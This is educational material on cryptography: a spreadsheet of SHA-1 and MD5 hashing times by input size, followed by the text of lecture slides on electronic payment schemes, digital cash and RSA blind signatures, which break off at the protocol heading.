0.0078888889 0.0078888889
0.0082777778 0.0067222222
0.0078333333 0.0067777778
0.008 0.0070555556
0.0078333333 0.0070555556
0.0078888889 0.0067777778
0.0078888889 0.0069444444
0.0079444444 0.0068888889
0.0077222222 0.0068888889
0.0076111111 0.0067777778
0.0075 0.0067222222
0.0076111111 0.0066666667
0.0076666667 0.0065
0.0074444444 0.0065555556
0.0071666667 0.0066666667
0.0071111111 0.0063333333
0.0071666667 0.0064444444
0.0072222222 0.0063888889
0.0072222222 0.0063888889
0.0071666667 0.0064444444
0.0071111111 0.0063333333
0.0070555556 0.0066666667
0.0070555556 0.0065555556
0.0071111111 0.0066111111
0.0071111111 0.0068333333
0.0071111111 0.0067777778
0.007 0.0061111111
0.0072777778 0.0062222222
0.0109444444 0.0093333333
0.0111111111 0.0092777778
0.0108333333 0.0091666667
0.011 0.0092222222
0.011 0.0093333333
0.0108888889 0.0081666667
0.0108333333 0.0082222222
0.0108333333 0.0083333333
0.0105 0.0083888889
0.0103888889 0.0083888889
0.0102777778 0.0082777778
0.0107777778 0.0082777778
0.0106111111 0.0082777778
0.0103333333 0.0081666667
0.0102222222 0.0081666667
0.0101111111 0.0080555556
0.0102777778 0.0080555556
0.0102222222 0.0085555556
0.0101666667 0.0082777778
0.0101666667 0.0081666667
0.0098888889 0.0082222222
0.0100555556 0.0082222222
0.0098888889 0.0080555556
0.0101666667 0.0080555556
0.01 0.0082777778
0.0098888889 0.0082222222
0.0101111111 0.0081111111
0.0099444444 0.0081666667
0.0099444444 0.0082222222
0.0099444444 0.0085
0.0099444444 0.0078333333
0.0099444444 0.0076111111
0.0137222222 0.0108888889
0.0140555556 0.0110555556
0.014 0.011
0.0142222222 0.0107777778
0.0136111111 0.0106111111
0.0141111111 0.0106666667
0.0140555556 0.01
0.0139444444 0.0098888889
0.0136111111 0.0101666667
0.0137222222 0.0098333333
0.0133333333 0.0096111111
0.0134444444 0.0095
0.0133888889 0.0097222222
0.0136666667 0.0097777778
0.0132222222 0.0099444444
0.0131666667 0.0096111111
0.0141666667 0.0094444444
0.0133333333 0.0093333333
0.0133333333 0.0095
0.0130555556 0.0101111111
0.0140555556 0.0105
0.0132777778 0.0100555556
0.0132222222 0.0101111111
0.0133888889 0.01
0.0131666667 0.0097222222
0.0131666667 0.0099444444
0.0131111111 0.01
0.0132777778 0.0098888889
0.0128888889 0.0096111111
0.0129444444 0.0098888889
0.0133333333 0.0091666667
0.0128888889 0.0091666667
0.0167222222 0.0127777778
0.0169444444 0.0126666667
0.0169444444 0.0127777778
0.0167777778 0.0126111111
0.0167777778 0.0131111111
0.0167222222 0.0112777778
0.0166111111 0.0119444444
0.0167222222 0.0113888889
0.0163333333 0.0114444444
0.0166111111 0.0117222222
0.0162777778 0.0113333333
0.0165555556 0.0115555556
0.0164444444 0.0115555556
0.0162777778 0.0116111111
0.0162222222 0.0112222222
0.0162222222 0.0110555556
0.0165555556 0.0113888889
0.0163333333 0.0117222222
0.0162777778 0.0114444444
0.016 0.0113333333
0.0157777778 0.0114444444
0.0158888889 0.0111111111
0.0158333333 0.0110555556
0.0157777778 0.0112777778
0.0157222222 0.0113888889
0.016 0.0110555556
0.0155555556 0.0114444444
0.0157222222 0.0114444444
0.0158333333 0.0116111111
0.0159444444 0.0115555556
0.0156111111 0.011
0.0157777778 0.0109444444
0.0197222222 0.0142222222
0.0195 0.0143333333
0.0193888889 0.0142777778
0.0193333333 0.0143888889
0.0195555556 0.0140555556
0.0195 0.0133333333
0.0192777778 0.013
0.0192777778 0.0131666667
0.0192222222 0.0132777778
0.0193333333 0.0132222222
0.0193888889 0.0131666667
0.0192222222 0.0130555556
0.0189444444 0.0133333333
0.0190555556 0.0131111111
0.0189444444 0.0128333333
0.0191666667 0.0129444444
0.0185 0.0130555556
0.0188888889 0.0131666667
0.0186111111 0.0131666667
0.0187777778 0.0130555556
0.0188333333 0.0132222222
0.0183888889 0.0132222222
0.0186111111 0.0133333333
0.0190555556 0.0132777778
0.0185 0.0133333333
0.0184444444 0.0132777778
0.0185555556 0.013
0.0183888889 0.0131666667
0.0185 0.0133333333
0.0185555556 0.0130555556
0.0183888889 0.0122777778
0.0186666667 0.0126111111
0.0228333333 0.0158333333
0.0226111111 0.0158333333
0.0224444444 0.016
0.0224444444 0.0161111111
0.0225555556 0.0156111111
0.0224444444 0.0149444444
0.0224444444 0.0148888889
0.0225555556 0.0153333333
0.0223333333 0.0151111111
0.023 0.0148333333
0.0225555556 0.0148333333
0.0220555556 0.0154444444
0.0218333333 0.0143888889
0.0219444444 0.0145
0.0217777778 0.0142777778
0.0216111111 0.0145
0.0216666667 0.0143333333
0.0216666667 0.0145555556
0.0217222222 0.0147222222
0.0215555556 0.0145555556
0.0213888889 0.0146666667
0.0216111111 0.0147222222
0.0215555556 0.0147222222
0.0214444444 0.0146666667
0.0216111111 0.0143888889
0.0217777778 0.0146111111
0.0217777778 0.0146666667
0.0213888889 0.0148333333
0.0217777778 0.0147222222
0.0214444444 0.0147222222
0.0212777778 0.0141666667
0.0215 0.0141111111
0.0250555556 0.0175
0.0257777778 0.0181666667
0.0263888889 0.0172777778
0.0250555556 0.0173888889
0.0247777778 0.0171111111
0.0255 0.0160555556
0.0249444444 0.016
0.0252777778 0.0162222222
0.0251111111 0.016
0.0250555556 0.0161666667
0.0252222222 0.0162777778
0.0243888889 0.0158888889
0.0248888889 0.0162777778
0.0244444444 0.0162222222
0.0248888889 0.0162222222
0.0244444444 0.0165
0.0248888889 0.0162777778
0.0246111111 0.0162222222
0.025 0.0160555556
0.0244444444 0.0161666667
0.0246111111 0.0162777778
0.0245555556 0.0161666667
0.0245 0.0161666667
0.0246111111 0.0162777778
0.0246111111 0.0164444444
0.0242222222 0.0162777778
0.0245 0.0162222222
0.0242222222 0.0162222222
0.0248888889 0.0163888889
0.0246666667 0.0165555556
0.0243333333 0.0155
0.0240555556 0.0155555556
0.0285555556 0.019
0.0278333333 0.0190555556
0.0277777778 0.0186666667
0.0280555556 0.0188333333
0.0279444444 0.0185555556
0.0282777778 0.0181666667
0.0277777778 0.0178333333
0.0281111111 0.0176666667
0.0273333333 0.0176111111
0.0278888889 0.0176111111
0.0274444444 0.0177222222
0.0275555556 0.0175555556
0.0275 0.0175555556
0.0277222222 0.0175
0.0277222222 0.0177777778
0.0277222222 0.0175555556
0.0277777778 0.0177222222
0.0274444444 0.0176111111
0.028 0.0181111111
0.0273888889 0.0179444444
0.0275 0.0185
0.028 0.0177777778
0.0274444444 0.0178333333
0.0276111111 0.0179444444
0.0271666667 0.0178333333
0.0271666667 0.0175
0.0277222222 0.0178888889
0.0270555556 0.0178888889
0.0270555556 0.0178333333
0.0276111111 0.0176666667
0.0273888889 0.0172222222
0.0268888889 0.0173333333
0.0311111111 0.0206666667
0.0311666667 0.0206666667
0.0310555556 0.0205
0.0306111111 0.0202777778
0.0307222222 0.0202777778
0.0306666667 0.0190555556
0.0308333333 0.0191111111
0.0308333333 0.0192222222
0.0303333333 0.0191111111
0.0308888889 0.0192222222
0.0312222222 0.0191666667
0.0303888889 0.0194444444
0.0304444444 0.0191666667
0.0306666667 0.0193888889
0.0301111111 0.0193333333
0.0307222222 0.0193333333
0.0305 0.0191666667
0.0304444444 0.0192222222
0.031 0.0193333333
0.0302777778 0.0193333333
0.0300555556 0.0192222222
0.0301111111 0.0195
0.0308333333 0.0193333333
0.0303888889 0.0193888889
0.0303333333 0.0193333333
0.0297777778 0.0193888889
0.0306666667 0.0193333333
0.0301666667 0.0193888889
0.0300555556 0.0192777778
0.0301111111 0.0192222222
0.0296666667 0.0188333333
0.0302222222 0.0188333333
0.0338888889 0.0219444444
0.0342222222 0.022
0.0336666667 0.0216111111
0.0335555556 0.022
0.0337222222 0.0217777778
0.0337777778 0.0205
0.0333888889 0.0207222222
0.0336111111 0.0208333333
0.0340555556 0.0208888889
0.0337777778 0.021
0.0335 0.0211111111
0.0335 0.0210555556
0.0336666667 0.0208333333
0.0334444444 0.0208333333
0.0337777778 0.0208333333
0.0335 0.0208888889
0.0337222222 0.0207777778
0.0333333333 0.0209444444
0.0335 0.0212222222
0.0336666667 0.0212222222
0.0335 0.0211111111
0.0334444444 0.0213333333
0.0331666667 0.0211666667
0.0335 0.0208888889
0.0331111111 0.0209444444
0.0331111111 0.021
0.0332777778 0.0209444444
0.0327222222 0.0207777778
0.0327777778 0.0207777778
0.0330555556 0.0207222222
0.0326666667 0.0200555556
0.0328333333 0.0201666667
0.0367777778 0.0234444444
0.0367777778 0.0235555556
0.0366111111 0.0234444444
0.0366111111 0.0238333333
0.0365555556 0.0233888889
0.0366666667 0.0226111111
0.0366111111 0.0225555556
0.0366111111 0.0225555556
0.0366111111 0.0228888889
0.0367777778 0.0228333333
0.0362222222 0.0227222222
0.0366111111 0.0227777778
0.0367777778 0.0227777778
0.0364444444 0.0224444444
0.0365555556 0.0227222222
0.0365 0.0226111111
0.0363333333 0.0223333333
0.0366111111 0.023
0.0362222222 0.0227222222
0.0361666667 0.0226111111
0.0360555556 0.0225
0.0361111111 0.0227222222
0.0360555556 0.0227222222
0.0361666667 0.0226111111
0.0356111111 0.0223333333
0.0358333333 0.0222222222
0.0358333333 0.0227777778
0.0358333333 0.0225
0.0356666667 0.0223333333
0.0356666667 0.0224444444
0.0355555556 0.0215555556
0.0357777778 0.0217777778
0.0396111111 0.0249444444
0.0398333333 0.0249444444
0.0396111111 0.0255
0.0395 0.0251666667
0.0395 0.0251111111
0.0396111111 0.0241666667
0.0392222222 0.0239444444
0.0395 0.0240555556
0.0402777778 0.0241666667
0.0396111111 0.0263888889
0.0393888889 0.0245
0.0395555556 0.0245
0.0391111111 0.0245
0.0393888889 0.0248333333
0.0392777778 0.024
0.0390555556 0.0236111111
0.0392222222 0.0241111111
0.0391666667 0.0240555556
0.0390555556 0.0241111111
0.0387777778 0.0239444444
0.0389444444 0.0238333333
0.0386666667 0.0241111111
0.0386666667 0.0238333333
0.0386111111 0.0238888889
0.0386666667 0.0242222222
0.0387222222 0.0238333333
0.0385555556 0.0238888889
0.0386666667 0.0243888889
0.0388333333 0.0243333333
0.0386666667 0.0242222222
0.0387222222 0.0236111111
0.0385555556 0.0239444444
0.0427222222 0.0266111111
0.0428888889 0.0268888889
0.0427222222 0.0265
0.0427222222 0.0272222222
0.0426666667 0.0272222222
0.0426666667 0.0253333333
0.0423333333 0.0255555556
0.0428333333 0.0254444444
0.0425555556 0.0255
0.0422777778 0.0254444444
0.0425 0.0266111111
0.0421666667 0.0258888889
0.0423888889 0.0258333333
0.0421111111 0.0256111111
0.0418888889 0.0265
0.0421666667 0.0256111111
0.0419444444 0.0257777778
0.0419444444 0.0251666667
0.0415555556 0.0257222222
0.0419444444 0.0258888889
0.0416666667 0.0255555556
0.0416111111 0.0255555556
0.0416666667 0.0256666667
0.0418333333 0.0253333333
0.0415 0.0257777778
0.0418888889 0.0254444444
0.0415555556 0.0257222222
0.0416111111 0.0255
0.0417777778 0.0259444444
0.0430555556 0.0267777778
0.0417222222 0.025
0.0418333333 0.0259444444
0.0459444444 0.0284444444
0.0463888889 0.029
0.0454444444 0.0296111111
0.0456111111 0.0286111111
0.0453333333 0.0281666667
0.0456111111 0.0271111111
0.0453333333 0.0275555556
0.0453888889 0.0273888889
0.0455 0.0272777778
0.0455555556 0.0266666667
0.0452777778 0.0271666667
0.0451111111 0.0274444444
0.0449444444 0.0269444444
0.0449444444 0.0270555556
0.045 0.0277777778
0.045 0.0270555556
0.0446111111 0.0273333333
0.0448888889 0.0268888889
0.0447777778 0.0267222222
0.0448333333 0.0269444444
0.0446111111 0.0271666667
0.0447777778 0.0277222222
0.0449444444 0.027
0.045 0.0276666667
0.0448888889 0.0270555556
0.0446666667 0.0271111111
0.0447222222 0.0273888889
0.0447222222 0.0272777778
0.0448333333 0.0273333333
0.0447777778 0.0275
0.0445 0.0262222222
0.0447777778 0.0266666667
0.0483888889 0.0297777778
0.0485555556 0.0302222222
0.0483333333 0.0295555556
0.0482777778 0.0302777778
0.0479444444 0.0293888889
0.0479444444 0.0288333333
0.0478333333 0.0287777778
0.0482222222 0.029
0.0479444444 0.0287222222
0.0481111111 0.0284444444
0.0478888889 0.0289444444
0.0485 0.0300555556
0.0481666667 0.0288333333
0.0484444444 0.029
0.0488333333 0.029
0.0482222222 0.0287777778
0.0483888889 0.0296111111
0.0487222222 0.0285
0.0502888889 0.0287222222
0.0506111111 0.0297222222
0.0506666667 0.03
0.0502222222 0.0296666667
0.0481666667 0.0285555556
0.0492777778 0.0291666667
0.0485555556 0.0292222222
SHA-1
MD5
Input Size (Bytes)
msec
Hashing Time

Sheet1

SHA-1 MD5 MD5 SHA-1
0 0 0
2 0.0053333333 0.0057777778 0.00531893 0.0047016461
4 0.005 0.0053888889 0.0068159722 0.0075416667
6 0.0049444444 0.0051111111 0.0082979798 0.0103506944
8 0.0050555556 0.0050555556
10 0.0051111111 0.0051111111
12 0.005 0.0055555556
14 0.005 0.0053333333
16 0.0047777778 0.0051666667
18 0.0046666667 0.0052222222
20 0.0046111111 0.0051666667
22 0.0046111111 0.0051111111
24 0.0047777778 0.0052777778
26 0.0046111111 0.0057222222
28 0.0045555556 0.0053333333
30 0.0045555556 0.0052222222
32 0.0046666667 0.0057222222
34 0.0045 0.0053333333
36 0.0046111111 0.0055555556
38 0.0052222222 0.0057777778
40 0.0049444444 0.0053888889
42 0.0047222222 0.0055
44 0.0043888889 0.0051111111
46 0.0047222222 0.0056111111
48 0.0042777778 0.0055
50 0.0041111111 0.0056111111
52 0.0041111111 0.0045
54 0.0040555556 0.0044444444
56 0.0082222222 0.0076666667
58 0.0081666667 0.0077222222
60 0.0079444444 0.0077777778
62 0.008 0.0079444444
64 0.0078888889 0.0078888889
66 0.0082777778 0.0067222222
68 0.0078333333 0.0067777778
70 0.008 0.0070555556
72 0.0078333333 0.0070555556
74 0.0078888889 0.0067777778
76 0.0078888889 0.0069444444
78 0.0079444444 0.0068888889
80 0.0077222222 0.0068888889
82 0.0076111111 0.0067777778
84 0.0075 0.0067222222
86 0.0076111111 0.0066666667
88 0.0076666667 0.0065
90 0.0074444444 0.0065555556
92 0.0071666667 0.0066666667
94 0.0071111111 0.0063333333
96 0.0071666667 0.0064444444
98 0.0072222222 0.0063888889
100 0.0072222222 0.0063888889
102 0.0071666667 0.0064444444
104 0.0071111111 0.0063333333
106 0.0070555556 0.0066666667
108 0.0070555556 0.0065555556
110 0.0071111111 0.0066111111
112 0.0071111111 0.0068333333
114 0.0071111111 0.0067777778
116 0.007 0.0061111111
118 0.0072777778 0.0062222222
120 0.0109444444 0.0093333333
122 0.0111111111 0.0092777778
124 0.0108333333 0.0091666667
126 0.011 0.0092222222
128 0.011 0.0093333333
130 0.0108888889 0.0081666667
132 0.0108333333 0.0082222222
134 0.0108333333 0.0083333333
136 0.0105 0.0083888889
138 0.0103888889 0.0083888889
140 0.0102777778 0.0082777778
142 0.0107777778 0.0082777778
144 0.0106111111 0.0082777778
146 0.0103333333 0.0081666667
148 0.0102222222 0.0081666667
150 0.0101111111 0.0080555556
152 0.0102777778 0.0080555556
154 0.0102222222 0.0085555556
156 0.0101666667 0.0082777778
158 0.0101666667 0.0081666667
160 0.0098888889 0.0082222222
162 0.0100555556 0.0082222222
164 0.0098888889 0.0080555556
166 0.0101666667 0.0080555556
168 0.01 0.0082777778
170 0.0098888889 0.0082222222
172 0.0101111111 0.0081111111
174 0.0099444444 0.0081666667
176 0.0099444444 0.0082222222
178 0.0099444444 0.0085
180 0.0099444444 0.0078333333
182 0.0099444444 0.0076111111
184 0.0137222222 0.0108888889
186 0.0140555556 0.0110555556
188 0.014 0.011
190 0.0142222222 0.0107777778
192 0.0136111111 0.0106111111
194 0.0141111111 0.0106666667
196 0.0140555556 0.01
198 0.0139444444 0.0098888889
200 0.0136111111 0.0101666667
202 0.0137222222 0.0098333333
204 0.0133333333 0.0096111111
206 0.0134444444 0.0095
208 0.0133888889 0.0097222222
210 0.0136666667 0.0097777778
212 0.0132222222 0.0099444444
214 0.0131666667 0.0096111111
216 0.0141666667 0.0094444444
218 0.0133333333 0.0093333333
220 0.0133333333 0.0095
222 0.0130555556 0.0101111111
224 0.0140555556 0.0105
226 0.0132777778 0.0100555556
228 0.0132222222 0.0101111111
230 0.0133888889 0.01
232 0.0131666667 0.0097222222
234 0.0131666667 0.0099444444
236 0.0131111111 0.01
238 0.0132777778 0.0098888889
240 0.0128888889 0.0096111111
242 0.0129444444 0.0098888889
244 0.0133333333 0.0091666667
246 0.0128888889 0.0091666667
248 0.0167222222 0.0127777778
250 0.0169444444 0.0126666667
252 0.0169444444 0.0127777778
254 0.0167777778 0.0126111111
256 0.0167777778 0.0131111111
258 0.0167222222 0.0112777778
260 0.0166111111 0.0119444444
262 0.0167222222 0.0113888889
264 0.0163333333 0.0114444444
266 0.0166111111 0.0117222222
268 0.0162777778 0.0113333333
270 0.0165555556 0.0115555556
272 0.0164444444 0.0115555556
274 0.0162777778 0.0116111111
276 0.0162222222 0.0112222222
278 0.0162222222 0.0110555556
280 0.0165555556 0.0113888889
282 0.0163333333 0.0117222222
284 0.0162777778 0.0114444444
286 0.016 0.0113333333
288 0.0157777778 0.0114444444
290 0.0158888889 0.0111111111
292 0.0158333333 0.0110555556
294 0.0157777778 0.0112777778
296 0.0157222222 0.0113888889
298 0.016 0.0110555556
300 0.0155555556 0.0114444444
302 0.0157222222 0.0114444444
304 0.0158333333 0.0116111111
306 0.0159444444 0.0115555556
308 0.0156111111 0.011
310 0.0157777778 0.0109444444
312 0.0197222222 0.0142222222
314 0.0195 0.0143333333
316 0.0193888889 0.0142777778
318 0.0193333333 0.0143888889
320 0.0195555556 0.0140555556
322 0.0195 0.0133333333
324 0.0192777778 0.013
326 0.0192777778 0.0131666667
328 0.0192222222 0.0132777778
330 0.0193333333 0.0132222222
332 0.0193888889 0.0131666667
334 0.0192222222 0.0130555556
336 0.0189444444 0.0133333333
338 0.0190555556 0.0131111111
340 0.0189444444 0.0128333333
342 0.0191666667 0.0129444444
344 0.0185 0.0130555556
346 0.0188888889 0.0131666667
348 0.0186111111 0.0131666667
350 0.0187777778 0.0130555556
352 0.0188333333 0.0132222222
354 0.0183888889 0.0132222222
356 0.0186111111 0.0133333333
358 0.0190555556 0.0132777778
360 0.0185 0.0133333333
362 0.0184444444 0.0132777778
364 0.0185555556 0.013
366 0.0183888889 0.0131666667
368 0.0185 0.0133333333
370 0.0185555556 0.0130555556
372 0.0183888889 0.0122777778
374 0.0186666667 0.0126111111
376 0.0228333333 0.0158333333
378 0.0226111111 0.0158333333
380 0.0224444444 0.016
382 0.0224444444 0.0161111111
384 0.0225555556 0.0156111111
386 0.0224444444 0.0149444444
388 0.0224444444 0.0148888889
390 0.0225555556 0.0153333333
392 0.0223333333 0.0151111111
394 0.023 0.0148333333
396 0.0225555556 0.0148333333
398 0.0220555556 0.0154444444
400 0.0218333333 0.0143888889
402 0.0219444444 0.0145
404 0.0217777778 0.0142777778
406 0.0216111111 0.0145
408 0.0216666667 0.0143333333
410 0.0216666667 0.0145555556
412 0.0217222222 0.0147222222
414 0.0215555556 0.0145555556
416 0.0213888889 0.0146666667
418 0.0216111111 0.0147222222
420 0.0215555556 0.0147222222
422 0.0214444444 0.0146666667
424 0.0216111111 0.0143888889
426 0.0217777778 0.0146111111
428 0.0217777778 0.0146666667
430 0.0213888889 0.0148333333
432 0.0217777778 0.0147222222
434 0.0214444444 0.0147222222
436 0.0212777778 0.0141666667
438 0.0215 0.0141111111
440 0.0250555556 0.0175
442 0.0257777778 0.0181666667
444 0.0263888889 0.0172777778
446 0.0250555556 0.0173888889
448 0.0247777778 0.0171111111
450 0.0255 0.0160555556
452 0.0249444444 0.016
454 0.0252777778 0.0162222222
456 0.0251111111 0.016
458 0.0250555556 0.0161666667
460 0.0252222222 0.0162777778
462 0.0243888889 0.0158888889
464 0.0248888889 0.0162777778
466 0.0244444444 0.0162222222
468 0.0248888889 0.0162222222
470 0.0244444444 0.0165
472 0.0248888889 0.0162777778
474 0.0246111111 0.0162222222
476 0.025 0.0160555556
478 0.0244444444 0.0161666667
480 0.0246111111 0.0162777778
482 0.0245555556 0.0161666667
484 0.0245 0.0161666667
486 0.0246111111 0.0162777778
488 0.0246111111 0.0164444444
490 0.0242222222 0.0162777778
492 0.0245 0.0162222222
494 0.0242222222 0.0162222222
496 0.0248888889 0.0163888889
498 0.0246666667 0.0165555556
500 0.0243333333 0.0155
502 0.0240555556 0.0155555556
504 0.0285555556 0.019
506 0.0278333333 0.0190555556
508 0.0277777778 0.0186666667
510 0.0280555556 0.0188333333
512 0.0279444444 0.0185555556
514 0.0282777778 0.0181666667
516 0.0277777778 0.0178333333
518 0.0281111111 0.0176666667
520 0.0273333333 0.0176111111
522 0.0278888889 0.0176111111
524 0.0274444444 0.0177222222
526 0.0275555556 0.0175555556
528 0.0275 0.0175555556
530 0.0277222222 0.0175
532 0.0277222222 0.0177777778
534 0.0277222222 0.0175555556
536 0.0277777778 0.0177222222
538 0.0274444444 0.0176111111
540 0.028 0.0181111111
542 0.0273888889 0.0179444444
544 0.0275 0.0185
546 0.028 0.0177777778
548 0.0274444444 0.0178333333
550 0.0276111111 0.0179444444
552 0.0271666667 0.0178333333
554 0.0271666667 0.0175
556 0.0277222222 0.0178888889
558 0.0270555556 0.0178888889
560 0.0270555556 0.0178333333
562 0.0276111111 0.0176666667
564 0.0273888889 0.0172222222
566 0.0268888889 0.0173333333
568 0.0311111111 0.0206666667
570 0.0311666667 0.0206666667
572 0.0310555556 0.0205
574 0.0306111111 0.0202777778
576 0.0307222222 0.0202777778
578 0.0306666667 0.0190555556
580 0.0308333333 0.0191111111
582 0.0308333333 0.0192222222
584 0.0303333333 0.0191111111
586 0.0308888889 0.0192222222
588 0.0312222222 0.0191666667
590 0.0303888889 0.0194444444
592 0.0304444444 0.0191666667
594 0.0306666667 0.0193888889
596 0.0301111111 0.0193333333
598 0.0307222222 0.0193333333
600 0.0305 0.0191666667
602 0.0304444444 0.0192222222
604 0.031 0.0193333333
606 0.0302777778 0.0193333333
608 0.0300555556 0.0192222222
610 0.0301111111 0.0195
612 0.0308333333 0.0193333333
614 0.0303888889 0.0193888889
616 0.0303333333 0.0193333333
618 0.0297777778 0.0193888889
620 0.0306666667 0.0193333333
622 0.0301666667 0.0193888889
624 0.0300555556 0.0192777778
626 0.0301111111 0.0192222222
628 0.0296666667 0.0188333333
630 0.0302222222 0.0188333333
632 0.0338888889 0.0219444444
634 0.0342222222 0.022
636 0.0336666667 0.0216111111
638 0.0335555556 0.022
640 0.0337222222 0.0217777778
642 0.0337777778 0.0205
644 0.0333888889 0.0207222222
646 0.0336111111 0.0208333333
648 0.0340555556 0.0208888889
650 0.0337777778 0.021
652 0.0335 0.0211111111
654 0.0335 0.0210555556
656 0.0336666667 0.0208333333
658 0.0334444444 0.0208333333
660 0.0337777778 0.0208333333
662 0.0335 0.0208888889
664 0.0337222222 0.0207777778
666 0.0333333333 0.0209444444
668 0.0335 0.0212222222
670 0.0336666667 0.0212222222
672 0.0335 0.0211111111
674 0.0334444444 0.0213333333
676 0.0331666667 0.0211666667
678 0.0335 0.0208888889
680 0.0331111111 0.0209444444
682 0.0331111111 0.021
684 0.0332777778 0.0209444444
686 0.0327222222 0.0207777778
688 0.0327777778 0.0207777778
690 0.0330555556 0.0207222222
692 0.0326666667 0.0200555556
694 0.0328333333 0.0201666667
696 0.0367777778 0.0234444444
698 0.0367777778 0.0235555556
700 0.0366111111 0.0234444444
702 0.0366111111 0.0238333333
704 0.0365555556 0.0233888889
706 0.0366666667 0.0226111111
708 0.0366111111 0.0225555556
710 0.0366111111 0.0225555556
712 0.0366111111 0.0228888889
714 0.0367777778 0.0228333333
716 0.0362222222 0.0227222222
718 0.0366111111 0.0227777778
720 0.0367777778 0.0227777778
722 0.0364444444 0.0224444444
724 0.0365555556 0.0227222222
726 0.0365 0.0226111111
728 0.0363333333 0.0223333333
730 0.0366111111 0.023
732 0.0362222222 0.0227222222
734 0.0361666667 0.0226111111
736 0.0360555556 0.0225
738 0.0361111111 0.0227222222
740 0.0360555556 0.0227222222
742 0.0361666667 0.0226111111
744 0.0356111111 0.0223333333
746 0.0358333333 0.0222222222
748 0.0358333333 0.0227777778
750 0.0358333333 0.0225
752 0.0356666667 0.0223333333
754 0.0356666667 0.0224444444
756 0.0355555556 0.0215555556
758 0.0357777778 0.0217777778
760 0.0396111111 0.0249444444
762 0.0398333333 0.0249444444
764 0.0396111111 0.0255
766 0.0395 0.0251666667
768 0.0395 0.0251111111
770 0.0396111111 0.0241666667
772 0.0392222222 0.0239444444
774 0.0395 0.0240555556
776 0.0402777778 0.0241666667
778 0.0396111111 0.0263888889
780 0.0393888889 0.0245
782 0.0395555556 0.0245
784 0.0391111111 0.0245
786 0.0393888889 0.0248333333
788 0.0392777778 0.024
790 0.0390555556 0.0236111111
792 0.0392222222 0.0241111111
794 0.0391666667 0.0240555556
796 0.0390555556 0.0241111111
798 0.0387777778 0.0239444444
800 0.0389444444 0.0238333333
802 0.0386666667 0.0241111111
804 0.0386666667 0.0238333333
806 0.0386111111 0.0238888889
808 0.0386666667 0.0242222222
810 0.0387222222 0.0238333333
812 0.0385555556 0.0238888889
814 0.0386666667 0.0243888889
816 0.0388333333 0.0243333333
818 0.0386666667 0.0242222222
820 0.0387222222 0.0236111111
822 0.0385555556 0.0239444444
824 0.0427222222 0.0266111111
826 0.0428888889 0.0268888889
828 0.0427222222 0.0265
830 0.0427222222 0.0272222222
832 0.0426666667 0.0272222222
834 0.0426666667 0.0253333333
836 0.0423333333 0.0255555556
838 0.0428333333 0.0254444444
840 0.0425555556 0.0255
842 0.0422777778 0.0254444444
844 0.0425 0.0266111111
846 0.0421666667 0.0258888889
848 0.0423888889 0.0258333333
850 0.0421111111 0.0256111111
852 0.0418888889 0.0265
854 0.0421666667 0.0256111111
856 0.0419444444 0.0257777778
858 0.0419444444 0.0251666667
860 0.0415555556 0.0257222222
862 0.0419444444 0.0258888889
864 0.0416666667 0.0255555556
866 0.0416111111 0.0255555556
868 0.0416666667 0.0256666667
870 0.0418333333 0.0253333333
872 0.0415 0.0257777778
874 0.0418888889 0.0254444444
876 0.0415555556 0.0257222222
878 0.0416111111 0.0255
880 0.0417777778 0.0259444444
882 0.0430555556 0.0267777778
884 0.0417222222 0.025
886 0.0418333333 0.0259444444
888 0.0459444444 0.0284444444
890 0.0463888889 0.029
892 0.0454444444 0.0296111111
894 0.0456111111 0.0286111111
896 0.0453333333 0.0281666667
898 0.0456111111 0.0271111111
900 0.0453333333 0.0275555556
902 0.0453888889 0.0273888889
904 0.0455 0.0272777778
906 0.0455555556 0.0266666667
908 0.0452777778 0.0271666667
910 0.0451111111 0.0274444444
912 0.0449444444 0.0269444444
914 0.0449444444 0.0270555556
916 0.045 0.0277777778
918 0.045 0.0270555556
920 0.0446111111 0.0273333333
922 0.0448888889 0.0268888889
924 0.0447777778 0.0267222222
926 0.0448333333 0.0269444444
928 0.0446111111 0.0271666667
930 0.0447777778 0.0277222222
932 0.0449444444 0.027
934 0.045 0.0276666667
936 0.0448888889 0.0270555556
938 0.0446666667 0.0271111111
940 0.0447222222 0.0273888889
942 0.0447222222 0.0272777778
944 0.0448333333 0.0273333333
946 0.0447777778 0.0275
948 0.0445 0.0262222222
950 0.0447777778 0.0266666667
952 0.0483888889 0.0297777778
954 0.0485555556 0.0302222222
956 0.0483333333 0.0295555556
958 0.0482777778 0.0302777778
960 0.0479444444 0.0293888889
962 0.0479444444 0.0288333333
964 0.0478333333 0.0287777778
966 0.0482222222 0.029
968 0.0479444444 0.0287222222
970 0.0481111111 0.0284444444
972 0.0478888889 0.0289444444
974 0.0485 0.0300555556
976 0.0481666667 0.0288333333
978 0.0484444444 0.029
980 0.0488333333 0.029
982 0.0482222222 0.0287777778
984 0.0483888889 0.0296111111
986 0.0487222222 0.0285
988 0.0502888889 0.0287222222
990 0.0506111111 0.0297222222
992 0.0506666667 0.03
994 0.0502222222 0.0296666667
996 0.0481666667 0.0285555556
998 0.0492777778 0.0291666667
1000 0.0485555556 0.0292222222

Sheet2

Sheet3

Ch10-PaymentSystems.pptx

Payment Systems

1

Electronic Payment Schemes

Schemes for electronic payment are multi-party protocols

Payment instrument modeled by electronic coin that has a fixed value and can be exchanged with a traditional monetary instrument

Parties include:

Payer (customer)

Payee (merchant)

Bank

2

Customer

Merchant

Digital Cash

12/1/2010

2

Transactions

Transactions in an electronic payment scheme typically include:

Withdrawal of coins by customer from the bank

Payment of coins by customer to merchant

Deposit of coins by merchant into bank

Online scheme:

The bank participates in the payment transaction

Offline scheme

The bank does not participate in the payment transaction

3

Customer

Merchant

$

$

$

withdraw

pay

deposit

Goals

Integrity

Coins cannot be forged

Legitimate transactions are honored

Accountability

Transactions cannot be later denied

Disputes can be efficiently settled

Privacy

The identity of some parties is not revealed to other parties

Coins cannot be traced to the payer and/or payee (digital cash)

4

Payment with Digital Signatures

Coins are random identifiers digitally signed by the bank at the time of withdrawal

The merchant verifies the signature by the bank

The bank honors deposit of valid coins

Security and privacy issues:

Customer can copy coin and double spend

The bank learns about every transaction by customer and merchant

5

Customer

Merchant

$

$

$

withdraw

pay

deposit

Private Payment Scheme

A blind signature allows the signed to sign a message without knowing the message itself

Basic digital cash scheme:

The bank does a blind signature on the coins withdrawn by the customer

The merchant verifies the signature and deposits the coins

The bank cannot link the coins to the customer

6

Blind Signatures with RSA

The RSA cryptosystem supports a simple and efficient blind signature scheme

Consider an RSA signing scheme with

Public modulus N

Public encryption exponent e and public cryptographic hash function h

Secret decryption exponent d

The bank can create a signature on any item without knowing it

Bank must have assurance that it is signing a valid coin of the correct amount

7

RSA Blind Signature Protocol

